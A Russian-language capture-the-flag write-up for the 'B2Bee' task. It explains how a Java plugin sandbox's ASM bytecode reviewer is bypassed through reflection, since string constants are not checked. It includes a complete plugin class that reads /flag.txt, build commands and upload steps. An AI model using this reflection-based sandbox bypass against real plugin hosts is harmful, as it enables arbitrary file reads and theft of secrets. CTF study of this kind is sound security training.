Writeup - B2Bee
Крупнейший пчелиный маркетплейс запустил партнёрский кабинет B2Bee. Продавцы могут загружать собственные Java-плагины в формате JAR, которые рассчитывают скидки и бонусы для корзины.
Перед запуском каждый JAR проходит два этапа:
Цель задания — обойти проверку плагина и прочитать файл:
/flag.txt
http://marketplugins-s6r1nilb.avitoctf.ru/
Изучение интерфейса
На странице загрузки доступны два параметра:
Также можно скачать архив с примером легитимного плагина.
После распаковки примера выясняется, что основной класс должен реализовывать интерфейс:
DiscountPlugin
Метод плагина имеет следующий контракт:
PluginResult apply(PluginContext context)
example.SeasonalDiscountPlugin
Следовательно, при загрузке собственного JAR в поле «Главный класс» необходимо указывать полное имя класса вместе с пакетом:
example.SeasonalDiscountPlugin
Анализ статического ревью
Из предоставленных исходников видно, что проверка выполняется на уровне Java-байткода с помощью ASM.
Ревью-пчела анализирует:
- вызовы методов;
- обращения к полям;
- создаваемые объекты;
- типы в инструкциях;
- некоторые элементы constant pool;
- дескрипторы методов;
Handle;ConstantDynamic.
Опасные классы и пакеты блокируются политикой песочницы.
Например, прямое использование файлового API было бы обнаружено:
Files.readString(Path.of("/flag.txt"));В байткоде такого класса появились бы ссылки на:
java/nio/file/Files java/nio/file/Path
Эти классы не разрешены политикой, поэтому такой JAR был бы отклонён на этапе ревью.
Ошибка в модели проверки
Статический анализатор контролирует владельцев вызываемых методов и используемые типы, но не считает обычные строковые константы именами классов.
То есть строка:
"java.nio.file.Files"
не воспринимается как ссылка на запрещённый класс.
При этом политика разрешает классы из пространства:
java/lang
java/lang/Class java/lang/reflect/Method java/lang/Object java/lang/String
Это позволяет динамически загрузить запрещённые классы через Reflection:
Class.forName("java.nio.file.Files");В байткоде вызов принадлежит разрешённому классу:
java/lang/Class.forName
А имя запрещённого класса находится только в обычной строке.
Аналогичным способом можно получить методы класса Files и вызвать их через:
java.lang.reflect.Method.invoke
В результате статический анализатор видит только разрешённые Reflection API, хотя во время исполнения плагин получает доступ к файловой системе.
Построение полезной нагрузки
Для чтения /flag.txt требуется динамически получить два класса:
java.nio.file.Path java.nio.file.Files
Сначала загружаем их через Class.forName:
Class<?> pathClass =
Class.forName("java.nio.file.Path");
Class<?> filesClass =
Class.forName("java.nio.file.Files");Затем получаем статический метод Path.of:
Method pathOf = pathClass.getMethod(
"of",
String.class,
String[].class
);Path.of(String first, String... more)
Так как varargs компилируется в массив, при рефлексивном вызове передаём путь и пустой массив строк:
Object path = pathOf.invoke(
null,
"/flag.txt",
new String[0]
);После этого получаем метод Files.readString:
Method readString = filesClass.getMethod(
"readString",
pathClass
);String flag = (String) readString.invoke(
null,
path
);Полученное содержимое файла можно вернуть через поле сообщения объекта PluginResult.
Код плагина
Класс должен иметь то же имя, которое указывается в веб-интерфейсе:
example.SeasonalDiscountPlugin
package example;
import java.lang.reflect.Method;
public class SeasonalDiscountPlugin implements DiscountPlugin {
@Override
public PluginResult apply(PluginContext context) {
try {
Class<?> pathClass =
Class.forName("java.nio.file.Path");
Class<?> filesClass =
Class.forName("java.nio.file.Files");
Method pathOf = pathClass.getMethod(
"of",
String.class,
String[].class
);
Object path = pathOf.invoke(
null,
"/flag.txt",
new String[0]
);
Method readString = filesClass.getMethod(
"readString",
pathClass
);
String flag = (String) readString.invoke(
null,
path
);
return new PluginResult(
0,
0,
flag
);
} catch (Throwable error) {
return new PluginResult(
0,
0,
error.getClass().getName()
+ ": "
+ error.getMessage()
);
}
}
}Названия и конструктор PluginResult необходимо брать из примера, предоставленного сервисом.
В данном случае результат создаётся следующим образом:
new PluginResult(0, 0, flag)
Флаг попадает в текстовое сообщение результата расчёта.
Почему плагин проходит ревью?
В исходном коде присутствуют названия запрещённых классов:
"java.nio.file.Path" "java.nio.file.Files"
Однако после компиляции они остаются обычными строками в constant pool.
Статический анализатор не сопоставляет содержимое строк с запрещёнными пакетами.
Вызовы методов принадлежат разрешённым классам:
java/lang/Class java/lang/reflect/Method java/lang/String java/lang/Object
java/lang/Class.forName java/lang/Class.getMethod java/lang/reflect/Method.invoke
Поэтому ревью не видит прямого обращения к:
java/nio/file/Files java/nio/file/Path
Доступ к ним возникает только динамически во время исполнения в карантинной соте.
Сборка JAR
src/
└── example/
└── SeasonalDiscountPlugin.javaДля компиляции необходимо добавить классы API из архива-примера в classpath.
Пример команды:
javac \ -cp plugin-api.jar \ -d build \ src/example/SeasonalDiscountPlugin.java
jar cf honeybadger-plugin.jar -C build .
Проверить наличие класса можно командой:
jar tf honeybadger-plugin.jar
META-INF/ META-INF/MANIFEST.MF example/ example/SeasonalDiscountPlugin.class
Загрузка в B2Bee
JAR-файл: honeybadger-plugin.jar Главный класс: example.SeasonalDiscountPlugin
Передать свой JAR на ревью
Плагин проходит статическую проверку и отправляется в карантинную среду.
После запуска вызывается метод:
apply(PluginContext context)
Он читает /flag.txt и возвращает его содержимое в сообщении PluginResult.
Флаг отображается на странице в результате расчёта скидки и бонусов.
Ошибка при первой попытке
В первой версии JAR основной класс назывался:
example.HoneyBadgerPlugin
Но в поле веб-интерфейса было указано:
example.SeasonalDiscountPlugin
Ревью JAR прошло успешно, поскольку сам байткод соответствовал политике. Однако карантин вернул:
Код ревью: plugin-failed Плагин завершился с ошибкой
Причина заключалась не в Reflection и не в файловом доступе. Исполняющая среда не смогла найти указанный главный класс.
После переименования класса в:
example.SeasonalDiscountPlugin
и повторной сборки JAR плагин успешно запустился.
Это важный момент: поле «Главный класс» должно точно совпадать с полным именем класса внутри архива, включая регистр символов и Java-пакет.
Ложный путь
В исходниках анализатора присутствовала скрытая последовательность Unicode Variation Selectors.
После декодирования она содержала ссылку:
https://marketdone-9kol67m0.avitoctf.ru/
Однако эта ссылка являлась ложным путём и не приводила к решению задания.
Реальное решение требовало:
изучить контракт плагина;
проанализировать правила проверки байткода;
обнаружить разрешённый Reflection API;
динамически загрузить запрещённые файловые классы;
прочитать /flag.txt внутри карантинной среды.
Итог
Для решения задания был использован обход статического анализатора Java-байткода через Reflection.
Прямое использование файловых классов блокировалось:
Files.readString(Path.of("/flag.txt"));Но запрещённые классы удалось получить динамически:
Class.forName("java.nio.file.Files");
Class.forName("java.nio.file.Path");Так как обычные строковые константы не анализировались, а Class и Method относились к разрешённому пространству java/lang, JAR успешно прошёл ревью.
После запуска в карантинной соте плагин:
загрузил Path и Files;
создал объект пути /flag.txt;
вызвал Files.readString;
вернул содержимое файла в PluginResult;
вывел флаг в интерфейсе B2Bee.
Класс уязвимости:
Incomplete static bytecode validation Reflection-based sandbox bypass Arbitrary file read